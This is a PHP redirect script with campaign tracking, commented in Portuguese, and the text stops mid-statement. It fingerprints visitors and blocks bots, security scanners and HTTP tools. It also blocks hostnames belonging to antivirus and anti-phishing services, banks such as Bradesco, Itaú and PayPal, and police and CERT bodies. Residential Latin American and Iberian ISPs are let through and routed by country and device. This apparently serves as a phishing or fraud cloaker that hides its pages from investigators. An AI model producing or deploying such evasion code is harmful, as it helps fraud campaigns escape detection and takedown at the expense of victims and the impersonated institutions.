<?php
session_start();
date_default_timezone_set('America/Sao_Paulo');

// Carrega módulo de segurança avançada + rastreio de campanhas
require_once('seguranca.php');
require_once('rastreio.php');

// Garante caminhos relativos (gestor.json, logs, etc.) mesmo via /l/slug/
if (is_dir(__DIR__)) {
    @chdir(__DIR__);
}

// Captura origem cedo: pasta /l/slug/, constante do stub, ou ?c=
resolveTrackingOrigem();

// ================ ANTIBOT, HOSTS_BLOCK, ANTI-PROXY, BLOQUEIO HEADERS, ETC ===================

// Função auxiliar para coletar informações básicas do acesso
function coletarInfoBasica($ip, $user_agent) {
    $info = [
        'datahora' => date('Y-m-d H:i:s'),
        'ip' => $ip,
        'user_agent' => $user_agent ?? '',
        'pais' => '',
        'pais_sigla' => 'XX',
        'estado' => '',
        'regiao' => '',
        'cidade' => '',
        'isp' => '',
        'org' => '',
        'asn' => '',
        'hosting' => false,
        'proxy' => false,
        'mobile' => false,
        'navegador' => '',
        'navegador_ver' => null,
        'dispositivo' => '',
        'windows_ver' => null
    ];
    
    // Tenta coletar geolocalização (key única via chaverastreio.json)
    $geo = getGeoInfo($ip);
    if (!empty($geo)) {
        $info['pais'] = $geo['country'] ?? '';
        $info['pais_sigla'] = strtoupper($geo['countryCode'] ?? 'XX');
        $info['estado'] = $geo['regionName'] ?? '';
        $info['regiao'] = $geo['region'] ?? '';
        $info['cidade'] = $geo['city'] ?? '';
        $info['isp'] = $geo['isp'] ?? '';
        $info['org'] = $geo['org'] ?? '';
        $info['asn'] = $geo['as'] ?? '';
        $info['hosting'] = !empty($geo['hosting']);
        $info['proxy'] = !empty($geo['proxy']);
        $info['mobile'] = !empty($geo['mobile']);
    }
    
    // Tenta detectar dispositivo e navegador se tiver user_agent
    if (!empty($user_agent)) {
        $info['navegador'] = getBrowser($user_agent);
        $info['navegador_ver'] = getBrowserVersion($user_agent);
        $info['dispositivo'] = getDeviceType($user_agent);
        $info['windows_ver'] = (getDeviceGroup($info['dispositivo']) === 'pc') ? getWindowsVersion($user_agent) : null;
    }
    
    return $info;
}

// Funções auxiliares para detecção (precisam estar antes de serem usadas)
function getDeviceType($ua) {
    if ($ua === '' || $ua === null) {
        return 'Outro';
    }

    // Client Hints (Chrome/Edge modernos) — mais confiáveis que o UA sozinho
    $chMobile   = $_SERVER['HTTP_SEC_CH_UA_MOBILE'] ?? '';
    $chPlatform = strtolower(trim($_SERVER['HTTP_SEC_CH_UA_PLATFORM'] ?? '', "\"' "));
    $chModel    = trim($_SERVER['HTTP_SEC_CH_UA_MODEL'] ?? '', "\"' ");

    // ——— Consoles ———
    if (preg_match('/playstation|xbox|nintendo|wiiu|switch/i', $ua)) {
        return 'Console';
    }

    // ——— Smart TV ———
    if (preg_match('/smart-?tv|smarttv|apple\s?tv|bravia|hbbtv|webos|tizen(?!.*mobile)|aftb|aftm|aftt|roku|crkey|googletv|android tv|appletv/i', $ua)) {
        return 'Smart TV';
    }

    // ——— iPad / Tablet iOS (iPadOS 13+ finge Macintosh) ———
    if (stripos($ua, 'iPad') !== false) {
        return 'iPad';
    }
    if (stripos($ua, 'Macintosh') !== false && (
        stripos($ua, 'Mobile') !== false ||
        preg_match('/touch/i', $chModel) ||
        (isset($_SERVER['HTTP_SEC_CH_UA_MODEL']) && stripos($_SERVER['HTTP_SEC_CH_UA_MODEL'], 'iPad') !== false)
    )) {
        return 'iPad';
    }

    // ——— Tablets Android / Kindle / outros ———
    if (preg_match('/kindle|silk|playbook|tablet(?! pc)/i', $ua)) {
        return 'Tablet';
    }
    // Android sem "Mobile" = tablet na maioria dos UAs
    if (stripos($ua, 'Android') !== false && stripos($ua, 'Mobile') === false && stripos($ua, 'Android TV') === false) {
        return 'Tablet';
    }

    // ——— Phones ———
    if (stripos($ua, 'iPhone') !== false || stripos($ua, 'iPod') !== false) {
        return 'iPhone';
    }
    if (preg_match('/windows phone|iemobile|wpdesktop/i', $ua)) {
        return 'Windows Phone';
    }
    if (preg_match('/blackberry|bb10|playbook/i', $ua)) {
        return 'Mobile';
    }
    // Client Hint mobile=?1
    if ($chMobile === '?1' || $chMobile === '1' || stripos($chMobile, '?1') !== false) {
        if ($chPlatform === 'android' || stripos($ua, 'Android') !== false) {
            return 'Android';
        }
        if ($chPlatform === 'ios' || stripos($ua, 'iPhone') !== false) {
            return 'iPhone';
        }
        return 'Mobile';
    }
    if (stripos($ua, 'Android') !== false && stripos($ua, 'Mobile') !== false) {
        return 'Android';
    }
    if (preg_match('/mobile|opera mini|opera mobi|webos|fennec|iemobile/i', $ua)) {
        return 'Mobile';
    }

    // ——— Desktop via Client Hints ———
    if ($chPlatform === 'windows') {
        return 'PC';
    }
    if ($chPlatform === 'macos' || $chPlatform === 'macOS') {
        return 'Mac';
    }
    if ($chPlatform === 'chrome os' || $chPlatform === 'chromeos') {
        return 'ChromeOS';
    }
    if ($chPlatform === 'linux' && $chMobile !== '?1') {
        return 'Linux';
    }

    // ——— Desktop via UA ———
    if (stripos($ua, 'Windows NT') !== false || preg_match('/windows(?! phone)/i', $ua)) {
        return 'PC';
    }
    if (stripos($ua, 'CrOS') !== false) {
        return 'ChromeOS';
    }
    if (stripos($ua, 'Macintosh') !== false || stripos($ua, 'Mac OS X') !== false || stripos($ua, 'MacOS') !== false) {
        return 'Mac';
    }
    if (stripos($ua, 'Linux') !== false && stripos($ua, 'Android') === false) {
        return 'Linux';
    }
    if (stripos($ua, 'FreeBSD') !== false || stripos($ua, 'OpenBSD') !== false || stripos($ua, 'SunOS') !== false) {
        return 'Linux';
    }

    return 'Outro';
}

/** Agrupa dispositivo para regra de redirect (mobile / pc / outros) */
function getDeviceGroup($device) {
    $mobile = ['Mobile', 'iPhone', 'Android', 'iPad', 'Tablet', 'Windows Phone', 'Smart TV', 'Console'];
    $pc     = ['PC', 'ChromeOS'];
    $outros = ['Mac', 'Linux'];

    if (in_array($device, $mobile, true)) {
        return 'mobile';
    }
    if (in_array($device, $pc, true)) {
        return 'pc';
    }
    if (in_array($device, $outros, true)) {
        return 'outros_pc';
    }
    return 'outro';
}

function getBrowser($ua) {
    if ($ua === '' || $ua === null) {
        return 'Outro';
    }

    // Ordem: do mais específico para o mais genérico (Chrome/Safari por último)
    if (preg_match('/Edg(?:e|A|iOS)?\//i', $ua) || stripos($ua, 'Edg/') !== false) {
        return 'Edge';
    }
    if (preg_match('/OPR\/|Opera Mini|Opera Mobi|OPT\/|OPiOS\//i', $ua) || (stripos($ua, 'Opera') !== false && stripos($ua, 'OPR/') !== false)) {
        return 'Opera';
    }
    if (stripos($ua, 'Opera') !== false) {
        return 'Opera';
    }
    if (stripos($ua, 'SamsungBrowser') !== false) {
        return 'Samsung Internet';
    }
    if (stripos($ua, 'UCBrowser') !== false || stripos($ua, 'UC Browser') !== false) {
        return 'UC Browser';
    }
    if (stripos($ua, 'YaBrowser') !== false) {
        return 'Yandex';
    }
    if (stripos($ua, 'Vivaldi') !== false) {
        return 'Vivaldi';
    }
    if (stripos($ua, 'Brave') !== false) {
        return 'Brave';
    }
    if (stripos($ua, 'HuaweiBrowser') !== false || stripos($ua, 'HBPC/') !== false) {
        return 'Huawei';
    }
    if (stripos($ua, 'MiuiBrowser') !== false) {
        return 'MIUI Browser';
    }
    if (stripos($ua, 'DuckDuckGo') !== false) {
        return 'DuckDuckGo';
    }
    if (stripos($ua, 'Ecosia') !== false) {
        return 'Ecosia';
    }
    if (stripos($ua, 'Whale') !== false) {
        return 'Whale';
    }
    if (stripos($ua, 'Firefox') !== false || stripos($ua, 'FxiOS') !== false) {
        return 'Firefox';
    }
    // Chrome / Chrome iOS (Edge, Opera, Samsung etc. já tratados acima)
    if (stripos($ua, 'CriOS') !== false || stripos($ua, 'Chrome') !== false) {
        return 'Chrome';
    }
    if (stripos($ua, 'Chromium') !== false) {
        return 'Chromium';
    }
    if (stripos($ua, 'Safari') !== false) {
        return 'Safari';
    }
    if (stripos($ua, 'MSIE') !== false || stripos($ua, 'Trident/') !== false) {
        return 'IE';
    }

    return 'Outro';
}

function getWindowsVersion($ua) {
    if ($ua === '' || $ua === null) {
        return null;
    }

    // Client Hints (quando o browser envia): Windows 11 = platform version >= 13
    $chPlatform = $_SERVER['HTTP_SEC_CH_UA_PLATFORM'] ?? '';
    $chVersion  = $_SERVER['HTTP_SEC_CH_UA_PLATFORM_VERSION'] ?? '';
    if ($chVersion !== '' && (stripos($chPlatform, 'Windows') !== false || preg_match('/Windows NT/i', $ua))) {
        $chVersion = trim($chVersion, "\"'");
        if (preg_match('/^(\d+)/', $chVersion, $m)) {
            $major = (int)$m[1];
            if ($major >= 13) {
                return 'Windows 11';
            }
            if ($major > 0) {
                return 'Windows 10';
            }
        }
    }

    // Alguns UAs trazem "Windows 11" literal
    if (preg_match('/Windows 11/i', $ua)) {
        return 'Windows 11';
    }
    if (preg_match('/Windows 10/i', $ua) && !preg_match('/Windows NT/i', $ua)) {
        return 'Windows 10';
    }

    if (preg_match('/Windows NT ([0-9.]+)/i', $ua, $matches)) {
        $version = $matches[1];
        $map = [
            '10.0' => 'Windows 10/11', // NT 10.0 cobre 10 e 11 sem Client Hints
            '6.3'  => 'Windows 8.1',
            '6.2'  => 'Windows 8',
            '6.1'  => 'Windows 7',
            '6.0'  => 'Windows Vista',
            '5.2'  => 'Windows XP x64/Server 2003',
            '5.1'  => 'Windows XP',
            '5.0'  => 'Windows 2000',
        ];
        return $map[$version] ?? ('Windows NT ' . $version);
    }

    if (preg_match('/Windows Phone (?:OS )?([\d.]+)/i', $ua, $m)) {
        return 'Windows Phone ' . $m[1];
    }
    if (stripos($ua, 'Windows') !== false) {
        return 'Windows';
    }

    return null;
}

function getBrowserVersion($ua) {
    if ($ua === '' || $ua === null) {
        return null;
    }

    $browser = getBrowser($ua);

    switch ($browser) {
        case 'Edge':
            // Chromium Edge: Edg/120.0.0.0 | legado: Edge/18 | iOS: EdgiOS/ | Android: EdgA/
            if (preg_match('/(?:Edg|Edge|EdgA|EdgiOS)\/([\d.]+)/i', $ua, $m)) {
                return $m[1];
            }
            break;

        case 'Opera':
            if (preg_match('/(?:OPR|OPT|OPiOS|Opera Mini\/|Opera)\/?\s*([\d.]+)/i', $ua, $m)) {
                return $m[1];
            }
            break;

        case 'Samsung Internet':
            if (preg_match('/SamsungBrowser\/([\d.]+)/i', $ua, $m)) {
                return $m[1];
            }
            break;

        case 'UC Browser':
            if (preg_match('/UCBrowser\/([\d.]+)/i', $ua, $m)) {
                return $m[1];
            }
            break;

        case 'Yandex':
            if (preg_match('/YaBrowser\/([\d.]+)/i', $ua, $m)) {
                return $m[1];
            }
            break;

        case 'Vivaldi':
            if (preg_match('/Vivaldi\/([\d.]+)/i', $ua, $m)) {
                return $m[1];
            }
            break;

        case 'Brave':
            if (preg_match('/Brave\/([\d.]+)/i', $ua, $m)) {
                return $m[1];
            }
            // Brave costuma se passar por Chrome
            if (preg_match('/Chrome\/([\d.]+)/i', $ua, $m)) {
                return $m[1];
            }
            break;

        case 'Huawei':
            if (preg_match('/(?:HuaweiBrowser|HBPC)\/([\d.]+)/i', $ua, $m)) {
                return $m[1];
            }
            break;

        case 'MIUI Browser':
            if (preg_match('/MiuiBrowser\/([\d.]+)/i', $ua, $m)) {
                return $m[1];
            }
            break;

        case 'Firefox':
            if (preg_match('/(?:Firefox|FxiOS)\/([\d.]+)/i', $ua, $m)) {
                return $m[1];
            }
            break;

        case 'Chrome':
            // iOS Chrome usa CriOS; desktop/Android usa Chrome/
            if (preg_match('/CriOS\/([\d.]+)/i', $ua, $m)) {
                return $m[1];
            }
            if (preg_match('/Chrome\/([\d.]+)/i', $ua, $m)) {
                return $m[1];
            }
            break;

        case 'Chromium':
            if (preg_match('/(?:Chromium|Chrome)\/([\d.]+)/i', $ua, $m)) {
                return $m[1];
            }
            break;

        case 'Safari':
            // Preferir Version/X.Y; fallback AppleWebKit build
            if (preg_match('/Version\/([\d.]+)/i', $ua, $m)) {
                return $m[1];
            }
            break;

        case 'IE':
            if (preg_match('/MSIE ([\d.]+)/i', $ua, $m)) {
                return $m[1];
            }
            if (preg_match('/Trident\/.*rv:([\d.]+)/i', $ua, $m)) {
                return $m[1];
            }
            break;

        case 'DuckDuckGo':
            if (preg_match('/DuckDuckGo\/([\d.]+)/i', $ua, $m)) {
                return $m[1];
            }
            break;

        case 'Ecosia':
            if (preg_match('/Ecosia\/?([\d.]*)/i', $ua, $m) && $m[1] !== '') {
                return $m[1];
            }
            if (preg_match('/Chrome\/([\d.]+)/i', $ua, $m)) {
                return $m[1];
            }
            break;

        case 'Whale':
            if (preg_match('/Whale\/([\d.]+)/i', $ua, $m)) {
                return $m[1];
            }
            break;
    }

    return null;
}
function getGeoInfo($ip, $apiKey = null) {
    if (empty($ip) || $ip === '0.0.0.0') {
        return [];
    }

    if ($apiKey === null || $apiKey === '') {
        $apiKey = getIpApiKey();
    }
    if ($apiKey === '') {
        return [];
    }

    $fields = 'status,message,country,regionName,city,countryCode,query,region,org,as,isp,lat,lon,timezone,zip,proxy,hosting,mobile';
    $ctx = stream_context_create([
        'http' => [
            'timeout' => 6,
            'ignore_errors' => true,
            'header' => "User-Agent: RedirGeo/1.0\r\n",
        ],
        'ssl' => [
            'verify_peer' => true,
            'verify_peer_name' => true,
        ],
    ]);

    // Somente a key de chaverastreio.json (Pro) — sem fallback free
    $urlPro = "https://pro.ip-api.com/php/" . rawurlencode($ip) . "?fields={$fields}&key=" . rawurlencode($apiKey);
    $raw = @file_get_contents($urlPro, false, $ctx);
    if ($raw !== false) {
        $data = @unserialize($raw);
        if (is_array($data) && (($data['status'] ?? '') === 'success') && !empty($data['countryCode'])) {
            return $data;
        }
    }

    $urlProJson = "https://pro.ip-api.com/json/" . rawurlencode($ip) . "?fields={$fields}&key=" . rawurlencode($apiKey);
    $rawJson = @file_get_contents($urlProJson, false, $ctx);
    if ($rawJson !== false) {
        $data = @json_decode($rawJson, true);
        if (is_array($data) && (($data['status'] ?? '') === 'success') && !empty($data['countryCode'])) {
            return $data;
        }
    }

    return [];
}

// Função saveLog precisa estar disponível antes dos bloqueios
function saveLog($log) {
    if (function_exists('anexarLogAcesso')) {
        anexarLogAcesso($log);
        return;
    }
}

// BLOQUEIO DE USER-AGENT (antibot atualizado — bots, AI crawlers, scrapers, scanners)
// Array mantível; removidos padrões que bloqueavam navegadores legítimos (Yandex/Baidu/CFNetwork sozinhos)
$antibot_patterns = [
    // Google
    'Googlebot', 'Googlebot-Mobile', 'Googlebot-Image', 'Googlebot-News', 'Googlebot-Video',
    'AdsBot-Google', 'AdsBot-Google-Mobile', 'Feedfetcher-Google', 'Mediapartners-Google',
    'APIs-Google', 'Storebot-Google', 'Google-InspectionTool', 'GoogleOther',
    'Google-Read-Aloud', 'Google-Site-Verification', 'Google-Adwords-Instant',
    'Google Favicon', 'Google Web Preview', 'AppEngine-Google',

    // Bing / Yahoo / DuckDuckGo / Apple
    'bingbot', 'BingPreview', 'msnbot', 'adidxbot', 'Yahoo! Slurp', 'Slurp',
    'DuckDuckBot', 'DuckDuckGo-Favicons-Bot', 'DuckAssistBot',
    'Applebot', 'Applebot-Extended',

    // AI crawlers (2024–2026)
    'GPTBot', 'ChatGPT-User', 'OAI-SearchBot',
    'ClaudeBot', 'Claude-User', 'Claude-SearchBot', 'anthropic-ai', 'Claude-Web',
    'PerplexityBot', 'Perplexity-User',
    'Amazonbot',
    'Meta-ExternalAgent', 'Meta-ExternalFetcher', 'FacebookBot',
    'Bytespider', 'ByteDance', 'TikTokSpider',
    'CCBot', 'cohere-ai', 'Diffbot', 'ImagesiftBot', 'YouBot',
    'AI2Bot', 'Timpibot', 'Webzio-Extended', 'PhindBot', 'Andibot',
    'DeepSeekBot', 'MistralAI-User', 'PetalBot', 'HuaweiWebCatBot',

    // SEO / backlink
    'AhrefsBot', 'AhrefsSiteAudit', 'SemrushBot', 'DotBot', 'Rogerbot',
    'BLEXBot', 'SEOkicks', 'SeznamBot', 'MJ12bot', 'Majestic',
    'DataForSeoBot', 'serpstatbot', 'Screaming Frog', 'ScreamingFrogSEOSpider',
    'SiteAuditBot', 'SISTRIX', 'sistrix', 'LinkpadBot', 'ZoominfoBot',
    'BomboraBot', 'Seekport', 'SeekportBot', 'OnCrawl', 'botify',

    // Yandex / Baidu / Ásia (específicos — NÃO o navegador)
    'YandexBot', 'YandexImages', 'YandexAccessibilityBot', 'YandexMobileBot',
    'YandexRenderResourcesBot', 'YandexMetrika',
    'Baiduspider', 'Baidu-YunGuanCe', 'Sogou', '360Spider', 'HaosouSpider',
    'Yeti/', 'NaverBot', 'ToutiaoSpider', 'YisouSpider', 'coccoc', 'Qwantify', 'MojeekBot',

    // Social / preview de links
    'facebookexternalhit', 'Facebot', 'Twitterbot', 'LinkedInBot',
    'TelegramBot', 'Slackbot', 'Slack-ImgProxy', 'Discordbot',
    'WhatsApp', 'SkypeUriPreview', 'redditbot', 'Pinterestbot', 'pinterest\.com\.bot',
    'vkShare', 'Embedly', 'Iframely',

    // Arquivo / academia
    'ia_archiver', 'archive\.org_bot', 'ArchiveBot', 'heritrix',
    'SemanticScholarBot', 'Turnitin', 'citoid',

    // Uptime / headless
    'UptimeRobot', 'Uptimebot', 'Pingdom', 'StatusCake', 'Site24x7',
    'Chrome-Lighthouse', 'HeadlessChrome', 'PhantomJS', 'SlimerJS',
    'Puppeteer', 'Playwright', 'Selenium', 'Cypress', 'HtmlUnit',
    'GTmetrix', 'DareBoost', 'WebPageTest', 'Zabbix', 'check_http',

    // Security scanners
    'Nmap', 'Nikto', 'Nuclei', 'sqlmap', 'OpenVAS', 'Masscan', 'zgrab',
    'CensysInspect', 'Censys', 'Shodan', 'ZoomEye', 'LeakIX', 'Onyphe',
    'BinaryEdge', 'InternetMeasurement', 'WhatWeb', 'WPScan', 'Wprecon',
    'Acunetix', 'Nessus', 'Qualys', 'DirBuster', 'Gobuster',
    'httpx', 'katana', 'Sucuri', 'Netcraft', 'BitSight', 'SecurityTrails',
    'CriminalIP', 'Urlscan', 'Morfeus', 'Fimap', 'Havij', 'ZmEu', 'w3af',

    // HTTP libs / scrapers
    'curl', 'Wget', 'wget', 'libwww-perl', 'Python-urllib', 'python-requests',
    'python-httpx', 'aiohttp', 'httpx/', 'Go-http-client', 'Java/',
    'Apache-HttpClient', 'HttpClient', 'okhttp', 'node-fetch', 'undici',
    'axios', 'got/', 'superagent', 'Scrapy', 'Mechanize', 'Typhoeus',
    'libcurl', 'PyCurl', 'PostmanRuntime', 'Insomnia', 'HTTPie', 'RestSharp',
    'Faraday', 'Paw/', 'HttpUrlConnection', 'AHC/', 'Ruby/', 'Guzzle',
    'WWW-Mechanize', 'PHPCrawl', 'phpcrawl', 'nutch', 'HTTrack',

    // Feed / copiers
    'Feedspot', 'Feedly/', 'FlipboardProxy', 'PocketParser',
    'WebCopier', 'Offline Explorer', 'Teleport', 'Website Quester',
    'EmailSiphon', 'WebBandit', 'WebStripper', 'WebSucker', 'Copyscape',

    // Genéricos de bot (tokens típicos)
    'crawler', 'spider', 'scraper', 'headless',
    'bot/', 'bot;', 'antispam',

    // Legado óbvio
    'BUbiNG', 'MegaIndex', 'Mail\.RU_Bot', 'proximic', 'Xenu',
    'SiteSnagger', 'TeleportPro', 'Firefox/21\.0', 'MSIE 5\.', 'MSIE 6\.0',
    'Mozilla/4\.76', 'ips-agent', 'NetResearchServer', 'FAST-WebCrawler',
];

$antibot = '/' . implode('|', $antibot_patterns) . '/i';
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
// IP do visitante: apenas REMOTE_ADDR (geo confiável no hosting atual)
// Headers CF/XFF NÃO sobrescrevem o IP — evitam país/estado/cidade vazios
$ip = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';

// Campanha do Gerador desativada → about:blank (não roda o funil)
$origem_trk = resolveTrackingOrigem();
if (isCampanhaExplicitamenteInativa($origem_trk)) {
    limparOrigemSessao();
    $log_inativa = coletarInfoBasica($ip, $_SERVER['HTTP_USER_AGENT'] ?? '');
    $log_inativa['acao'] = 'Bloqueado - Campanha inativa';
    $log_inativa['risk_score'] = 0;
    saveLog($log_inativa);
    echo '<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=about:blank"></head><body></body></html>';
    exit;
}

// Whitelist = bypass total das camadas de bloqueio (crítico #3)
$whitelist_bypass = isWhitelisted($ip);
$security_check = ['valid' => true, 'reason' => $whitelist_bypass ? 'whitelist' : 'pending', 'score' => 0];

if (!$whitelist_bypass) {
if (!$user_agent || preg_match($antibot, $user_agent)) {
    // Coleta informações antes de bloquear
    $log_bloqueio = coletarInfoBasica($ip, $user_agent);
    $log_bloqueio['acao'] = 'Bloqueado - User-Agent Antibot';
    $log_bloqueio['risk_score'] = 100;
    saveLog($log_bloqueio);
    echo '<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=about:blank"></head><body></body></html>';
    exit;
}
} // fim early antibot (whitelist)

// $HOSTS_BLOCK – reverse DNS / hostname suspeito (scanners, AV, abuse, tor)
// NÃO incluir ISPs legítimos (vodafone, copel, claro, etc.)
$HOSTS_BLOCK = [
    // Anonimato / Tor / VPN exit
    '.tor.', 'tor-exit', 'torexit', 'torservers', 'torproject',
    'vpn.', '.vpn', 'vpn-', '-vpn', 'proxy.', 'proxies',
    'nordvpn', 'expressvpn', 'mullvad', 'protonvpn',

    // Hosting / abuse frequentemente usado por bots
    'colocrossing', 'quadranet', 'psychz', 'choopa', 'datapacket',
    'owned-networks', 'eveocloud', 'rsghosting', 'midphase', 'dimenoc',
    'onlinedc', 'donategrid', 'greenmountainaccess', 'nephosdns',

    // Segurança / AV / anti-phishing (varredura de URLs)
    'netcraft', 'antispam', 'antivirus', 'anti-phishing', 'antipishing',
    'spamfirewall', 'spfbl', 'barracuda', 'sophos', 'symantec', 'norton',
    'mcafee', 'kaspersky', 'kapersky', 'bitdefender', 'avast', 'avg.',
    'eset', 'nod32', 'trendmicro', 'f-secure', 'panda.com', 'pandasoftware',
    'clamav', 'clamwin', 'zonealarm', 'trustwave', 'verisign', 'rsa.com',
    'sucuri', 'wordfence', 'cloudflare-security', 'urlvoid', 'virustotal',
    'phishtank', 'openphish', 'safebrowsing', 'abuseipdb', 'spamhaus',

    // Bancos / orgs que costumam crawlear pages suspeitas (LATAM/EU)
    'bb.com.br', 'bradesco', 'itau', 'santander', 'scotiabank',
    'bankofamerica', 'paypal', 'cajamadrid', 'bancopopular', 'banesto',
    'unicaja', 'viabcp', 'rodobens',

    // Gov / intel / research scanners
    'cia.gov', 'fbi.gov', 'policia', 'guardia-civil', 'cert.',
    'hispasec', 'delitosinformaticos', 'fraudwatch',

    // Misc abuse / scanner rDNS
    'activescan', 'protectedgroup', 'mailcontrol', 'mailstream',
    'instantcheck', 'webandseo', 'prcdn', 'msn.com',
    'ebay.com', 'utfpr.edu.br', 'sescsp',
];

// Hostname de ISP residencial → nunca aplicar HOSTS_BLOCK
$hostname = @gethostbyaddr($ip);
$hostname_legitimo = false;
$hostname_lower = strtolower($hostname ?: '');

// Alinhado com isLegitimateISP() em seguranca.php (BR, MX, AR, PE, CL, PT, ES)
$indicadores_legitimos = [
    // BR
    'claro', 'vivo', 'embratel', 'tim.', 'tim-', '.tim.', 'oi.', 'oi-',
    'brisanet', 'unifique', 'algar', 'alares', 'desktop', 'ligga', 'mhnet',
    'starlink', 'netvirtua', 'net-virtua', 'vtal', 'giga', 'vero',
    // MX
    'telmex', 'uninet', 'infinitum', 'telcel', 'totalplay', 'megacable',
    'izzi', 'axtel', 'alestra', 'cablemas',
    // AR
    'telecom', 'fibertel', 'cablevision', 'telecentro', 'gigared', 'iplan', 'personal',
    // PE
    'bitel', 'viettel', 'integratel', 'wowperu', 'win.', 'wi-net',
    // CL
    'entel', 'vtr', 'wom', 'gtd', 'manquehue', 'telsur', 'mundo',
    // PT
    'meo.', 'meo-', '.meo.', 'nos.', 'nos-', 'nowo', 'altice', 'vodafone.pt',
    // ES
    'movistar', 'telefonica', 'orange', 'masmovil', 'masorange', 'digi',
    'euskaltel', 'jazztel', 'yoigo', 'pepephone', 'adamo', 'avatel',
    // Genéricos residenciais
    'residential', 'broadband', 'dyn.', 'dynamic', 'dhcp', 'pool.',
    'ftth', 'adsl', 'vdsl', 'cable', 'fiber', 'fibra', 'cliente', 'customer',
    'user.', 'home.', 'ppp-', 'dsl', 'mobile', 'celular', '3g.', '4g.', '5g.',
    'netlife', 'cnt.', 'tigo', 'comcel',
];

if (!$whitelist_bypass) {
foreach ($indicadores_legitimos as $indicador) {
    if (strpos($hostname_lower, strtolower($indicador)) !== false) {
        $hostname_legitimo = true;
        break;
    }
}

// Só bloqueia se NÃO for hostname legítimo
if (!$hostname_legitimo && $hostname && $hostname !== $ip) {
    foreach ($HOSTS_BLOCK as $block) {
        if (stripos($hostname, $block) !== false) {
            $log_bloqueio = coletarInfoBasica($ip, $user_agent);
            $log_bloqueio['acao'] = 'Bloqueado - HOSTS Block (' . $block . ')';
            $log_bloqueio['risk_score'] = 100;
            $log_bloqueio['hostname'] = $hostname;
            saveLog($log_bloqueio);
            echo '<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=about:blank"></head><body></body></html>';
            exit;
        }
    }
}

// ANTI-PROXY: só headers de anonimização do CLIENTE (não os de CDN/proxy reverso)
// X-Forwarded-For / X-Real-IP / Via / Forwarded são injetados por Cloudflare/nginx — NÃO bloquear
$proxy_headers_anonimos = [
    'HTTP_X_BLUECOAT_VIA',
    'HTTP_X_IMFORWARDS',
    'HTTP_X_TINYPROXY',
    'HTTP_X_LSC_PROXY_PASS_THROUGH',
    'HTTP_PROXY_USER',
    'HTTP_X_PROXY_USER',
    'HTTP_MT_PROXY_ID',
    'HTTP_PC_REMOTE_ADDR',
    'HTTP_X_PROXY_ID',
    'HTTP_X_COMING_FROM',
    'HTTP_COMING_FROM',
];
foreach ($proxy_headers_anonimos as $header) {
    if (!empty($_SERVER[$header])) {
        $log_bloqueio = coletarInfoBasica($ip, $user_agent);
        $log_bloqueio['acao'] = 'Bloqueado - Proxy Header (' . $header . ')';
        $log_bloqueio['risk_score'] = 100;
        saveLog($log_bloqueio);
        echo '<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=about:blank"></head><body></body></html>';
        exit;
    }
}
} // fim !$whitelist_bypass (hosts + proxy anônimo)

// ARQUIVOS ESTÁTICOS / probes comuns (não processar redirect)
$request = $_SERVER['REQUEST_URI'] ?? '';
if (preg_match(
    '/favicon\.ico|apple-touch-icon|browserconfig\.xml|manifest\.json|' .
    'robots\.txt|ads\.txt|security\.txt|humans\.txt|sitemap\.xml|' .
    '\.(?:css|js|map|mjs|cjs|json|xml|txt|html|htm|ico|' .
    'png|jpe?g|gif|svg|webp|avif|bmp|ico|' .
    'woff2?|ttf|eot|otf|' .
    'mp4|webm|mp3|wav|ogg|' .
    'pdf|zip|gz|tgz|rar|7z|wasm)(?:\?|$)/i',
    $request
)) {
    http_response_code(204);
    exit;
}

// DATACENTER/ISP BLOQUEADO
// getGeoInfo já está definida no início do arquivo (key via chaverastreio.json)
$geo = getGeoInfo($ip);
$pais = strtoupper($geo['countryCode'] ?? 'XX');
$asn = $geo['as'] ?? '';
$isp = strtolower($geo['isp'] ?? '');

// Validação de segurança / rate / blacklist — puladas na whitelist
if (!$whitelist_bypass) {
    $headers = getallheaders();
    if (!is_array($headers)) {
        $headers = [];
    }
    $security_check = validateSecurity($ip, $user_agent, $headers, $geo);

    if (!$security_check['valid']) {
        $log_temp = coletarInfoBasica($ip, $user_agent);
        $log_temp['acao'] = 'Bloqueado - ' . $security_check['reason'];
        $log_temp['risk_score'] = $security_check['score'] ?? 0;
        $log_temp['pais'] = $geo['country'] ?? ($log_temp['pais'] ?? '');
        $log_temp['pais_sigla'] = $pais;
        $log_temp['isp'] = $geo['isp'] ?? ($log_temp['isp'] ?? '');
        saveLog($log_temp);
        echo '<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=about:blank"></head><body></body></html>';
        exit;
    }

    if (!advancedRateLimit($ip)) {
        $log_bloqueio = coletarInfoBasica($ip, $user_agent);
        $log_bloqueio['acao'] = 'Bloqueado - Rate Limit';
        $log_bloqueio['risk_score'] = 100;
        saveLog($log_bloqueio);
        echo '<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=about:blank"></head><body></body></html>';
        exit;
    }

    $ips_bloqueados = file_exists('ips_bloqueados.json') ? json_decode(file_get_contents('ips_bloqueados.json'), true) : [];
    if (is_array($ips_bloqueados) && in_array($ip, $ips_bloqueados)) {
        $log_bloqueio = coletarInfoBasica($ip, $user_agent);
        $log_bloqueio['acao'] = 'Bloqueado - IP na Blacklist';
        $log_bloqueio['risk_score'] = 100;
        saveLog($log_bloqueio);

        $gestor_bl = file_exists('gestor.json') ? json_decode(file_get_contents('gestor.json'), true) : [];
        $pais_cfg_bl = ($gestor_bl['paises'] ?? [])[$pais] ?? null;
        $url_bloqueado = $pais_cfg_bl['bloqueado'] ?? '';
        if ($url_bloqueado) {
            header('Location: ' . $url_bloqueado);
        } else {
            echo '<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=about:blank"></head><body></body></html>';
        }
        exit;
    }
}

// PAÍSES E LINKS DE REDIRECIONAMENTO VIA gestor.json
$gestor = file_exists('gestor.json') ? json_decode(file_get_contents('gestor.json'), true) : [];
$paises_cfg = $gestor['paises'] ?? [];

// =======================
// DETECTA DISPOSITIVO/NAVEGADOR E VERSÕES
// Funções já foram definidas no início do arquivo

$device = getDeviceType($user_agent);
$browser = getBrowser($user_agent);
$device_group = getDeviceGroup($device);
$winver = ($device_group === 'pc') ? getWindowsVersion($user_agent) : null;
$browserver = getBrowserVersion($user_agent);

// =======================
// PREPARA LOG
$log = [
